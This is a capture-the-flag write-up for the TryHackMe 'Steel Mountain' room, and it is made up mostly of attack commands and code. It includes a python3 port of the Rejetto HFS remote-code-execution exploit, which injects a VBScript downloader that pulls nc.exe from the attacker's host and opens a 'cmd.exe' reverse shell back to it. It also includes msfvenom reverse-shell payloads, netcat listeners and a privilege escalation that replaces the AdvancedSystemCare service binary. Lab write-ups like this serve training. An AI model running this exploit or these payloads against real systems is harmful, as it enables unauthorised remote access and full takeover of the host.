Steel Mountain

February 14, 2024

Task 1:

Task 2:

Task 3:

upload ~/tryhackme-writeups/Steel-Mountains/PowerUp.ps1

upload /home/kyou/tryhackme-writeups/Steel-Mountains/PowerUp.ps1

load powershell
powershell_shell

PS > . .\PowerUp.ps1
PS > Invoke-AllChecks

Look closely there's actually a space in between dots

msfvenom -p windows/shell_reverse_tcp LHOST=10.9.193.229 LPORT=4444 -e x86/shikata_ga_nai -f exe-service -o ASCService.exe

shell
sc stop AdvancedSystemCareService9
ctrl+z

upload /home/kyou/tryhackme-writeups/Steel-Mountains/ASCService.exe 'C:\Program Files (x86)\IObit\Advanced SystemCare\ASCService.exe'
shell

sc start AdvancedSystemCareService9

Task 4:

Download the exploit from this link or just use the script below

Then modified it to look like this for python3

#!/usr/bin/python
# This is a modification of the original exploit : https://www.exploit-db.com/exploits/39161
# works with python3

import urllib.request as urllib2
import sys

try:
	def script_create():
		urllib2.urlopen("http://"+sys.argv[1]+":"+sys.argv[2]+"/?search=%00{.+"+save+".}")

	def execute_script():
		urllib2.urlopen("http://"+sys.argv[1]+":"+sys.argv[2]+"/?search=%00{.+"+exe+".}")

	def nc_run():
		urllib2.urlopen("http://"+sys.argv[1]+":"+sys.argv[2]+"/?search=%00{.+"+exe1+".}")

	ip_addr = "10.9.193.229" #local IP address
	local_port = "4444" # Local Port number
	vbs = r"C:\Users\Public\script.vbs|dim%20xHttp%3A%20Set%20xHttp%20%3D%20createobject(%22Microsoft.XMLHTTP%22)%0D%0Adim%20bStrm%3A%20Set%20bStrm%20%3D%20createobject(%22Adodb.Stream%22)%0D%0AxHttp.Open%20%22GET%22%2C%20%22http%3A%2F%2F"+ip_addr+":8000"+"%2Fnc.exe%22%2C%20False%0D%0AxHttp.Send%0D%0A%0D%0Awith%20bStrm%0D%0A%20%20%20%20.type%20%3D%201%20%27%2F%2Fbinary%0D%0A%20%20%20%20.open%0D%0A%20%20%20%20.write%20xHttp.responseBody%0D%0A%20%20%20%20.savetofile%20%22C%3A%5CUsers%5CPublic%5Cnc.exe%22%2C%202%20%27%2F%2Foverwrite%0D%0Aend%20with"
	save= "save|" + vbs
	vbs2 = "cscript.exe%20C%3A%5CUsers%5CPublic%5Cscript.vbs"
	exe= "exec|"+vbs2
	vbs3 = "C%3A%5CUsers%5CPublic%5Cnc.exe%20-e%20cmd.exe%20"+ip_addr+"%20"+local_port
	exe1= "exec|"+vbs3
	script_create()
	execute_script()
	nc_run()
except:
	print ("""[.]Something went wrong..!
	Usage is :[.] python exploit.py <Target IP address>  <Target Port Number>
	Don't forgot to change the Local IP address and Port number on the script""")

Then you need to open up a web server through your linux and a netcat listener

Just run the exploit twice

The first one is going to grab the nc.exe which will open a listener to the victim machine and the second run will get the reverse shell to ours. Or just run it multiple times to work

python3 exploit.py 10.10.167.23 8080

sudo python3 -m http.server

nc -lnvp 4444

msfvenom -p windows/shell_reverse_tcp LHOST=10.9.193.229 LPORT=5555 -e x86/shikata_ga_nai -f exe-service -o ASCService2.exe

Then get winpeas into the victim machine for priv esc

attacker
python3 -m http.server

victim
powershell -c "wget http://10.9.193.229:8000/winPEASx64.exe" -outfile winPEASx64.exe
.\winPEASx64.exe

The result shows that ASCService.exe can be access by user bill

powershell -c Get-Service

cd C:\Program Files (x86)\IObit\Advanced SystemCare
sc stop AdvancedSystemCareService9
powershell -c "wget http://10.9.193.229:8000/ASCService.exe" -outfile ASCService.exe
sc start AdvancedSystemCareService9